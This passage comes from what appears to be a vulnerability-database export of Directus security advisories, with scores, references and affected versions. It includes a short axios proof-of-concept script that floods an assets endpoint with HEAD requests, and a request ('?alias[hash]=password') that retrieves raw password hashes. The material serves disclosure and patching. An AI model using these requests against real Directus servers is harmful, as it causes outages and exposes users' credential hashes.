scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-01-23T18:52:42Z/
url https://github.com/directus/directus/commit/e288a43a79613dada905da683f4919c6965ac804
3
reference_url https://github.com/directus/directus/pull/23716
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-01-23T18:52:42Z/
url https://github.com/directus/directus/pull/23716
4
reference_url https://github.com/directus/directus/releases/tag/v11.2.0
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-01-23T18:52:42Z/
url https://github.com/directus/directus/releases/tag/v11.2.0
5
reference_url https://github.com/directus/directus/security/advisories/GHSA-pmf4-v838-29hg
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-01-23T18:52:42Z/
url https://github.com/directus/directus/security/advisories/GHSA-pmf4-v838-29hg
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-24353
reference_id
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-24353
7
reference_url https://www.youtube.com/watch?v=DbV4IxbWzN4
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-01-23T18:52:42Z/
url https://www.youtube.com/watch?v=DbV4IxbWzN4
8
reference_url https://github.com/advisories/GHSA-pmf4-v838-29hg
reference_id GHSA-pmf4-v838-29hg
reference_type
scores
url https://github.com/advisories/GHSA-pmf4-v838-29hg
fixed_packages
0
url pkg:npm/directus@11.2.0
purl pkg:npm/directus@11.2.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2hv8-fgdr-hugf
3
vulnerability VCID-2uz6-wjn7-kug4
4
vulnerability VCID-4x1w-8bx4-rqf9
5
vulnerability VCID-662k-n18g-mybg
6
vulnerability VCID-6ggp-xn4c-gya3
7
vulnerability VCID-6mr6-u3vk-sygm
8
vulnerability VCID-88w3-rw8u-rqea
9
vulnerability VCID-a75s-xyu6-wbcw
10
vulnerability VCID-a9tr-a8r5-57en
11
vulnerability VCID-bwww-3wep-2ydf
12
vulnerability VCID-dy98-51bk-p3fk
13
vulnerability VCID-ejdy-qscm-bqe1
14
vulnerability VCID-exwx-sqry-c3gc
15
vulnerability VCID-gnzq-q9g9-m3a4
16
vulnerability VCID-hv63-3zhy-dyae
17
vulnerability VCID-j711-a6gm-b7hr
18
vulnerability VCID-kugb-dwxd-6fhe
19
vulnerability VCID-mk5k-pf2s-mfe9
20
vulnerability VCID-n7g1-hmy7-j7g9
21
vulnerability VCID-n9br-39bb-7ugt
22
vulnerability VCID-rq5y-ee4h-gkff
23
vulnerability VCID-trbn-m8sj-ffa4
24
vulnerability VCID-uft7-5e9d-dqh8
25
vulnerability VCID-vt3b-2dr3-aka2
26
vulnerability VCID-wcaq-4zzz-qfb7
27
vulnerability VCID-wx6m-6dac-xqaj
28
vulnerability VCID-ycj2-8tqq-jyag
29
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.2.0
aliases CVE-2025-24353, GHSA-pmf4-v838-29hg
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-szpk-4g6r-f3e6
31
url VCID-trbn-m8sj-ffa4
vulnerability_id VCID-trbn-m8sj-ffa4
summary
Directus: Unauthenticated Denial of Service via GraphQL Alias Amplification of Expensive Health Check Resolver
## Summary

The GraphQL specification permits a single query to repeat the same field multiple times using aliases, with each alias resolved independently by default. Directus did not deduplicate resolver invocations within a single request, meaning each alias triggered a full, independent execution of the underlying resolver.

The health check resolver ran all backend checks (database connectivity, cache, storage writes, and SMTP verification) on every invocation. Combined with unauthenticated access to the system GraphQL endpoint, this allowed an attacker to amplify resource consumption significantly from a single HTTP request, exhausting the database connection pool, storage I/O, and SMTP connections.

## Fix

A request-scoped resolver deduplication mechanism was introduced and applied broadly across all GraphQL read resolvers, both system and items endpoints. When multiple aliases in a single request invoke the same resolver with identical arguments, only the first call executes; all subsequent aliases share its result. This eliminates the amplification factor regardless of how many aliases an attacker includes in a query.

## Impact

- **Service degradation or outage:** Database connection pool exhaustion prevents all Directus operations for all users
- **Storage I/O saturation:** Concurrent file writes can overwhelm disk I/O
- **SMTP resource exhaustion:** Concurrent SMTP verification calls may overwhelm the mail server
- **No authentication required:** Any network-accessible attacker can trigger this condition
- **Single-request impact:** A single request is sufficient to cause significant resource consumption

## Credit

This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).
references
0
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
1
reference_url https://github.com/directus/directus/security/advisories/GHSA-6q22-g298-grjh
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/security/advisories/GHSA-6q22-g298-grjh
2
reference_url https://github.com/advisories/GHSA-6q22-g298-grjh
reference_id GHSA-6q22-g298-grjh
reference_type
scores
url https://github.com/advisories/GHSA-6q22-g298-grjh
fixed_packages
0
url pkg:npm/directus@11.17.0
purl pkg:npm/directus@11.17.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.17.0
aliases GHSA-6q22-g298-grjh
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-trbn-m8sj-ffa4
32
url VCID-u5pc-6e92-zyev
vulnerability_id VCID-u5pc-6e92-zyev
summary
Directus allows redacted data extraction on the API through "alias"
## Summary
A user with permission to view any collection using redacted hashed fields can get access the raw stored version using the `alias` functionality on the API.
Normally, these redacted fields will return `**********` however  if we change the request to `?alias[workaround]=redacted` we can instead retrieve the plain text value for the field.

## Steps to reproduce
- Set up a simple role with read-access to users.
- Create a new user with the role from the previous step
- Assign a password to the user

The easiest way to confirm this vulnerability is by first visiting `/users/me`. You should be presented with a redacted JSON-object.
Next, visit `/users/me?alias[hash]=password`. This time, the returned JSON object will included the raw password hash instead of the redacted value.

## Workaround
This can be avoided by removing permission to view the sensitive fields entirely from users or roles that should not be able to see them.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-34708
reference_id
reference_type
scores
0
value 0.00324
scoring_system epss
scoring_elements 0.55654
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-34708
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/e70a90c267bea695afce6545174c2b77517d617b
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-05-15T15:21:26Z/
url https://github.com/directus/directus/commit/e70a90c267bea695afce6545174c2b77517d617b
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-p8v3-m643-4xqx
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-05-15T15:21:26Z/
url https://github.com/directus/directus/security/advisories/GHSA-p8v3-m643-4xqx
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-34708
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-34708
5
reference_url https://github.com/advisories/GHSA-p8v3-m643-4xqx
reference_id GHSA-p8v3-m643-4xqx
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-p8v3-m643-4xqx
fixed_packages
0
url pkg:npm/directus@10.11.0
purl pkg:npm/directus@10.11.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2hv8-fgdr-hugf
5
vulnerability VCID-2uz6-wjn7-kug4
6
vulnerability VCID-4aek-ts88-rqaj
7
vulnerability VCID-4v6n-unvz-wff3
8
vulnerability VCID-4x1w-8bx4-rqf9
9
vulnerability VCID-547q-d837-dfcz
10
vulnerability VCID-662k-n18g-mybg
11
vulnerability VCID-6ggp-xn4c-gya3
12
vulnerability VCID-6mr6-u3vk-sygm
13
vulnerability VCID-88w3-rw8u-rqea
14
vulnerability VCID-95tn-g8wd-63hq
15
vulnerability VCID-a75s-xyu6-wbcw
16
vulnerability VCID-a9tr-a8r5-57en
17
vulnerability VCID-bwww-3wep-2ydf
18
vulnerability VCID-dy98-51bk-p3fk
19
vulnerability VCID-exwx-sqry-c3gc
20
vulnerability VCID-gnzq-q9g9-m3a4
21
vulnerability VCID-hv63-3zhy-dyae
22
vulnerability VCID-j711-a6gm-b7hr
23
vulnerability VCID-kugb-dwxd-6fhe
24
vulnerability VCID-mk5k-pf2s-mfe9
25
vulnerability VCID-n7g1-hmy7-j7g9
26
vulnerability VCID-n9br-39bb-7ugt
27
vulnerability VCID-rq5y-ee4h-gkff
28
vulnerability VCID-szpk-4g6r-f3e6
29
vulnerability VCID-trbn-m8sj-ffa4
30
vulnerability VCID-uft7-5e9d-dqh8
31
vulnerability VCID-vt3b-2dr3-aka2
32
vulnerability VCID-wcaq-4zzz-qfb7
33
vulnerability VCID-wx6m-6dac-xqaj
34
vulnerability VCID-ycj2-8tqq-jyag
35
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.11.0
aliases CVE-2024-34708, GHSA-p8v3-m643-4xqx
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-u5pc-6e92-zyev
33
url VCID-uft7-5e9d-dqh8
vulnerability_id VCID-uft7-5e9d-dqh8
summary
Directus's S3 assets become unavailable after a burst of HEAD requests
### Summary
There's some tools that use Directus to sync content and assets.
Some of those tools use HEAD method, like Shopify, to check the existence of files.
Although, when making many HEAD requests at once, at some point, all assets are being served as 403.

### Details
When I was investigating this issue, I have found that after the burst of HEAD requests, the amount of `sockets` held on [Agent on NodeHttpHandler](https://github.com/smithy-lang/smithy-typescript/blob/main/packages/node-http-handler/src/node-http-handler.ts#L189) was always equal to [`STORAGE_CLOUD_MAX_SOCKETS`](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L89) making it impossible to have new connections causing assets to be inaccessible.

After looking into this [issue on AWS SDK](https://github.com/aws/aws-sdk-js-v3/issues/6691) I found that if the [stream is requested](https://github.com/directus/directus/blob/main/api/src/services/assets.ts#L213), it needs to be consumed otherwise will hang forever. And as can be [seen here](https://github.com/directus/directus/blob/main/api/src/controllers/assets.ts#L233-L238) the stream is not consumed.

The [timeouts set here](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L87-L88)  had no noticeable effect on tests made.

### PoC
This can be easily reproduced with the following steps:
- setup AWS S3 storage
- set STORAGE_CLOUD_MAX_SOCKETS: "50" (this value is lower than default for easier reproduction)
- upload a file to your project
- run this file (Replace the the file ID with the one you just uploaded):
```ts
import axios from "axios";

async function start() {
  Array.from({ length: 400 }, (_, i) => {
    axios
      .head(
        "http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8"
      )
      .then(() => console.log("✅"))
      .catch((e) =>
        console.log("â›”", e.response?.status || e.code || e.message)
      );
  });
}

start();
```

Here's an example:

https://github.com/user-attachments/assets/29d65bf0-5637-478f-a215-083c2ded3753




### Impact
This causes denial of assets for all policies of Directus, including Admin and Public.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-30350
reference_id
reference_type
scores
0
value 0.00208
scoring_system epss
scoring_elements 0.43217
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-30350
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-rv78-qqrq-73m5
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-03-26T17:09:29Z/
url https://github.com/directus/directus/security/advisories/GHSA-rv78-qqrq-73m5
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-30350
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-30350
4
reference_url https://github.com/advisories/GHSA-rv78-qqrq-73m5
reference_id GHSA-rv78-qqrq-73m5
reference_type
scores
url https://github.com/advisories/GHSA-rv78-qqrq-73m5
fixed_packages
0
url pkg:npm/directus@11.5.0
purl pkg:npm/directus@11.5.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2uz6-wjn7-kug4
3
vulnerability VCID-4x1w-8bx4-rqf9
4
vulnerability VCID-662k-n18g-mybg
5
vulnerability VCID-6ggp-xn4c-gya3
6
vulnerability VCID-6mr6-u3vk-sygm
7
vulnerability VCID-88w3-rw8u-rqea
8
vulnerability VCID-bwww-3wep-2ydf
9
vulnerability VCID-dy98-51bk-p3fk
10
vulnerability VCID-exwx-sqry-c3gc
11
vulnerability VCID-hv63-3zhy-dyae
12
vulnerability VCID-kugb-dwxd-6fhe
13
vulnerability VCID-mk5k-pf2s-mfe9
14
vulnerability VCID-n7g1-hmy7-j7g9
15
vulnerability VCID-n9br-39bb-7ugt
16
vulnerability VCID-rq5y-ee4h-gkff
17
vulnerability VCID-trbn-m8sj-ffa4
18
vulnerability VCID-vt3b-2dr3-aka2
19
vulnerability VCID-wcaq-4zzz-qfb7
20
vulnerability VCID-ycj2-8tqq-jyag
21
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.5.0
aliases CVE-2025-30350, GHSA-rv78-qqrq-73m5
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-uft7-5e9d-dqh8
34
url VCID-vt3b-2dr3-aka2
vulnerability_id VCID-vt3b-2dr3-aka2
summary
Directus has Improper Permission Handling on Deleted Fields
### Summary
Directus does not properly clean up field-level permissions when a field is deleted. If a new field with the same name is created later, the system automatically re-applies the old permissions, which can lead to unauthorized access.

### Details
When a field is removed from a collection, its reference in the permissions table remains intact. This stale reference creates a security gap: if another field is later created using the same name, it inherits the outdated permission entry.  
This behavior can unintentionally grant roles access to data they should not be able to read or modify.

The issue is particularly risky in multi-tenant or production environments, where administrators may reuse field names, assuming old permissions have been fully cleared.

	1.	Create a collection named test_collection.
	2.	Add a field called secret_field.
	3.	Assign a role with read permissions specifically tied to secret_field.
	4.	Remove the secret_field from the collection.
	5.	Create a new field with the exact same name secret_field.
	6.	Notice that the previously assigned permissions are still active, granting access to the newly created field without reconfiguration.

### Impact

When creating new fields with the same name as previously deleted fields it may inherit the permissions of that previously deleted field. This can potentially result in accidentally giving access to this new field in existing policies.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-64746
reference_id
reference_type
scores
0
value 0.00041
scoring_system epss
scoring_elements 0.12705
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-64746
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/84d7636969083387164ce5d2fd15a65e11e2d0b8
reference_id
reference_type
scores
0
value 4.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-13T21:18:13Z/
url https://github.com/directus/directus/commit/84d7636969083387164ce5d2fd15a65e11e2d0b8
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-9x5g-62gj-wqf2
reference_id
reference_type
scores
0
value 4.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-13T21:18:13Z/
url https://github.com/directus/directus/security/advisories/GHSA-9x5g-62gj-wqf2
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-64746
reference_id
reference_type
scores
0
value 4.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-64746
5
reference_url https://github.com/advisories/GHSA-9x5g-62gj-wqf2
reference_id GHSA-9x5g-62gj-wqf2
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-9x5g-62gj-wqf2
fixed_packages
0
url pkg:npm/directus@11.13.0
purl pkg:npm/directus@11.13.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-2uz6-wjn7-kug4
2
vulnerability VCID-6ggp-xn4c-gya3
3
vulnerability VCID-6mr6-u3vk-sygm
4
vulnerability VCID-bwww-3wep-2ydf
5
vulnerability VCID-exwx-sqry-c3gc
6
vulnerability VCID-hv63-3zhy-dyae
7
vulnerability VCID-n9br-39bb-7ugt
8
vulnerability VCID-rq5y-ee4h-gkff
9
vulnerability VCID-trbn-m8sj-ffa4
10
vulnerability VCID-wcaq-4zzz-qfb7
11
vulnerability VCID-ycj2-8tqq-jyag
12
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.13.0
aliases CVE-2025-64746, GHSA-9x5g-62gj-wqf2
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-vt3b-2dr3-aka2
35
url VCID-wcaq-4zzz-qfb7
vulnerability_id VCID-wcaq-4zzz-qfb7
summary
Directus: Open Redirect in Admin 2FA Setup Page
### Summary

Directus is vulnerable to an Open Redirect via the redirect query parameter on the `/admin/tfa-setup` page. When an administrator who has not yet configured Two-Factor Authentication (2FA) visits a crafted URL, they are presented with the legitimate Directus 2FA setup page. After completing the setup process, the application redirects the user to the attacker-controlled URL specified in the `redirect` parameter without any validation.

This vulnerability could be used in phishing attacks targeting Directus administrators, as the initial interaction occurs on a trusted domain.

### Credits
Discovered by Neo by ProjectDiscovery (https://neo.projectdiscovery.io/)
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35411
reference_id
reference_type
scores
0
value 0.00019
scoring_system epss
scoring_elements 0.05476
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35411
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-q75c-4gmv-mg9x
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-07T13:36:55Z/
url https://github.com/directus/directus/security/advisories/GHSA-q75c-4gmv-mg9x
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35411
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35411
4
reference_url https://github.com/advisories/GHSA-q75c-4gmv-mg9x
reference_id GHSA-q75c-4gmv-mg9x
reference_type
scores
url https://github.com/advisories/GHSA-q75c-4gmv-mg9x
fixed_packages
0
url pkg:npm/directus@11.16.1
purl pkg:npm/directus@11.16.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6ggp-xn4c-gya3
1
vulnerability VCID-6mr6-u3vk-sygm
2
vulnerability VCID-bwww-3wep-2ydf
3
vulnerability VCID-rq5y-ee4h-gkff
4
vulnerability VCID-trbn-m8sj-ffa4
5
vulnerability VCID-ycj2-8tqq-jyag
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.16.1
aliases CVE-2026-35411, GHSA-q75c-4gmv-mg9x
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-wcaq-4zzz-qfb7
36
url VCID-ycj2-8tqq-jyag
vulnerability_id VCID-ycj2-8tqq-jyag
summary
Directus: Missing Cross-Origin Opener Policy
## Summary

Directus's Single Sign-On (SSO) login pages lacked a `Cross-Origin-Opener-Policy` (COOP) HTTP response header. Without this header, a malicious cross-origin window that opens the Directus login page retains the ability to access and manipulate the `window` object of that page. An attacker can exploit this to intercept and redirect the OAuth authorization flow to an attacker-controlled OAuth client, causing the victim to unknowingly grant access to their authentication provider account (e.g. Google, Discord).

## Impact

A successful attack allows the attacker to obtain an OAuth access token for the victim's third-party identity provider account. Depending on the scopes authorized, this can lead to:
- Unauthorized access to the victim's linked identity provider account
- Account takeover of the Directus instance if the attacker can authenticate using the stolen credentials or provider session

## Patches

This issue has been addressed by adding the `Cross-Origin-Opener-Policy: same-origin` HTTP response header to SSO-related endpoints. This header instructs the browser to place the page in its own browsing context group, severing any reference the opener window may hold.

## Workarounds

Users who are unable to upgrade immediately can mitigate this vulnerability by configuring their reverse proxy or web server to add the following HTTP response header to all Directus responses: `Cross-Origin-Opener-Policy: same-origin`
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35408
reference_id
reference_type
scores
0
value 7e-05
scoring_system epss
scoring_elements 0.00573
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35408
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-8m32-p958-jg99
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-04-07T16:23:35Z/
url https://github.com/directus/directus/security/advisories/GHSA-8m32-p958-jg99
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35408
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35408
4
reference_url https://github.com/advisories/GHSA-8m32-p958-jg99
reference_id GHSA-8m32-p958-jg99
reference_type
scores
url https://github.com/advisories/GHSA-8m32-p958-jg99
fixed_packages
0
url pkg:npm/directus@11.17.0
purl pkg:npm/directus@11.17.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.17.0
aliases CVE-2026-35408, GHSA-8m32-p958-jg99
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-ycj2-8tqq-jyag
37
url VCID-zjtb-sh5z-h3gg
vulnerability_id VCID-zjtb-sh5z-h3gg
summary
Directus Vulnerable to User Enumeration via Password Reset Timing Attack
### Summary

A timing-based user enumeration vulnerability exists in the password reset functionality. When an invalid reset_url parameter is provided, the response time differs by approximately 500ms between existing and non-existing users, enabling reliable user enumeration.

### Details

The password reset endpoint implements a timing protection mechanism to prevent user enumeration; however, URL validation executes before the timing protection is applied. This allows an attacker to distinguish between valid and invalid user accounts based on response timing differences.

### Impact

This vulnerability violates user privacy and may facilitate targeted phishing attacks by allowing attackers to confirm the existence of user accounts.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-26185
reference_id
reference_type
scores
0
value 0.00014
scoring_system epss
scoring_elements 0.0267
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-26185
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/e69aa7a5248c6e3e822cb1ac354dee295df90b2a
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
